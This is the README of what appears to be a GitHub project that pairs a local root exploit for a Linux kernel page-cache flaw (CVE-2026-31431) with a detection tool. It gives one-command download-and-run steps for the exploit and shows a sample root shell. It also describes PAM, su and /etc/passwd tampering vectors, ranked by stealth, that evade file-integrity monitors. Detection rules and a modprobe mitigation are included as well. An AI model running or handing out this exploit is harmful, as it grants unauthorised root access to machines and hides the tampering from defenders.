
CopyFail (CVE-2026-31431): Linux 커널 페이지 캐시 권한 상승 PoC + 유일한 공개 탐지 도구. 새로운 PAM 인증 우회 벡터 + Sigma/auditd/eBPF 규칙.
CVE-2026-31431(CopyFail)에 대한 다중 벡터 PoC + 연동 탐지 도구. 다른 공개 PoC에는 없는 새로운 PAM 인증 우회 벡터를 포함합니다. 탐지 모드는 AIDE / Wazuh / OSSEC / Tripwire가 구조적으로 탐지하지 못하는 것을 잡아냅니다.
단일 정적 바이너리. 약 108KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
명령 하나. 루트 셸. 내부적으로 PAM 킬샷(단일 4바이트 쓰기로 /etc/pam.d/common-auth 수정), 버려진 비밀번호로 sudo를 통한 PTY 루트 드롭. [sudo] password for noot: 줄이 잠깐 표시되는데, sudo는 항상 해당 프롬프트를 출력합니다. 바이너리는 임의의 문자열을 입력하고 pam_unix의 실패가 주석 처리된 pam_deny.so를 통해 pam_permit.so로 전파되어 루트 권한을 얻습니다.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← 실제로 로드된(변이된) 값
disk: 117dab1c... ← AIDE / Wazuh / Tripwire가 보는(정상) 값
이것이 이 프로젝트의 핵심입니다. 디스크는 정상, 캐시는 변이됨. 모든 공개 FIM은 이를 볼 수 없습니다. 이 도구는 볼 수 있습니다.
v0.1.0 릴리스에서 사전 빌드된 정적 바이너리를 제공합니다. 아키텍처를 선택하고 다운로드하여 실행하세요.
# x86_64 (대부분의 노트북 + 클라우드 서버)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
기타 아키텍처:
| 아키텍처 | 파일 |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
무결성 검증:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
정적 musl 바이너리, 런타임 의존성 없음, 모든 Linux에서 실행 가능.
페이지 캐시 변이. VFS 쓰기 없음. 더티 페이지 없음. inotify 이벤트 없음. 주기적 재스캔은 캐시 축출과 경쟁합니다.
AIDE/Wazuh/OSSEC/Tripwire/Samhain은 버퍼링된 I/O → 페이지 캐시를 통해 읽어 변이된 바이트를 진실로 해시합니다. 또는 축출 후에는 깨끗한 디스크를 해시하여 "변경된 적 없음"으로 판단합니다.
탐지에는 O_DIRECT(캐시 건너뛰기) + 버퍼링된 읽기(캐시 적중) + 해시 차이 비교가 필요합니다. 불일치 = CopyFail 시그니처. 이것이 --scan입니다.
자동 선택: --vector auto (기본값). 은밀성 기준 pam > su > passwd 순위. 실패 시 폴백.
SIEM 수집을 위해 모든 곳에서 --json 지원.
detection/:
sigma/copyfail-af-alg.yml, Sigma 규칙, SIEM에 적용auditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, bpftrace 원라이너apparmor/copyfail-block.profile, AppArmor 3.0+ 거부 규칙mitigation/disable-algif.sh, modprobe 블랙리스트 + =y 경고echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
또는 커널 메인라인 a664bf3d603d (2026년 4월). 현재 기준: Debian Sid/Forky만 배포됨. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = 모두 취약.
주의: CONFIG_CRYPTO_USER_API_AEAD=y (내장)는 modprobe를 조용히 우회합니다. --check가 경고합니다.
익스플로잇 + 완화 후: 캐시 변이는 재부팅까지 지속됩니다. 완화는 새로운 익스플로잇을 차단하며, 과거의 것을 되돌리지는 않습니다.
cargo build --release --target x86_64-unknown-linux-musl
| 대상 | 크기 |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. 할당자 없음. 런타임 의존성 없음. 단일 정적 바이너리.
사전 빌드된 산출물과 SHA256 합계는 GitHub 릴리스에 첨부되어 있습니다.
각 모드(익스플로잇 auto/list/all, 탐지 check/scan/baseline/diff/watch/hunt)에 대한 구체적인 한 화면 예시는 docs/usage.md를 참조하세요.
이 README의 더 긴 서술형 버전(더 많은 맥락, 더 깊은 설명)은 BLOG.md를 참조하세요.
docs/threat-model.md 참조.
자신의 하드웨어에서만 사용. CLI 게이트 없음(보안 쇼). README + LICENSE = 프레임워크.
탐지 모드는 읽기 전용. 프로덕션에서 안전.
익스플로잇 모드는 커널 페이지 캐시를 변이합니다. RAM 전용이지만 파괴적으로 취급하세요. 이후 호출자의 인증을 차단합니다.
CVE-2026-31431은 2026-04-29에 Theori / Xint가 공개했습니다 (writeup, Xint 블로그). 이전 공개 PoC:
이 프로젝트(copyfail-rs): PAM 인증 우회 벡터, 이중 모드 탐지, IR 산출물 추가.
MIT.
a664bf3d603d72548b093ee3 (4.14, 2017년 8월)| 벡터 | 대상 | 적용 위치 |
|---|
pam (신규) | /etc/pam.d/common-auth (Debian/Ubuntu) 또는 system-auth (Fedora/RHEL/Arch) | 4바이트. auth requisite pam_deny.so → #aut requisite pam_deny.so. 임의의 비밀번호로 sudo = 루트. |
su | /usr/bin/su | setuid 바이너리 텍스트 변이. execve → 루트. |
passwd | /etc/passwd | UID 변경 → 다음 로그인 시 사용자가 루트가 됨. 해당 사용자의 SSH가 중단됨. |
| 모드 | 설명 |
|---|
--check | 커널 + 모듈 + CONFIG_CRYPTO_USER_API_AEAD + 완화 상태. 판정: 취약 / 완화됨 / 안전. |
--scan | 중요 파일에 대한 O_DIRECT vs 버퍼링된 읽기 차이 비교. statfs() 분기: ext4/xfs/btrfs는 O_DIRECT 사용, overlayfs는 폴백, tmpfs는 건너뜀. |
--baseline / --diff | 알려진 정상 상태 스냅샷. 이후 차이 비교. 캐시 전용 델타 = CopyFail 지문. |
--watch | 데몬. 주기적 스캔. SIGTERM으로 정상 종료. |
--hunt | SSH 플릿 스윕. JSON 집계. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| 벡터 | su | su + passwd | su | su + passwd + PAM (신규) |
| 탐지 | 없음 | 없음 | 없음 | 전체 --mode detect |
| IR 산출물 | 없음 | 없음 | 없음 | Sigma + auditd + eBPF + AppArmor |
| 운영자 UX | 3개 명령 | 4개 명령 | 5개 명령 | 1개 명령 |
| 바이너리 | Python 필요 | ~10 KB | ~5 MB | ~108 KB 정적 |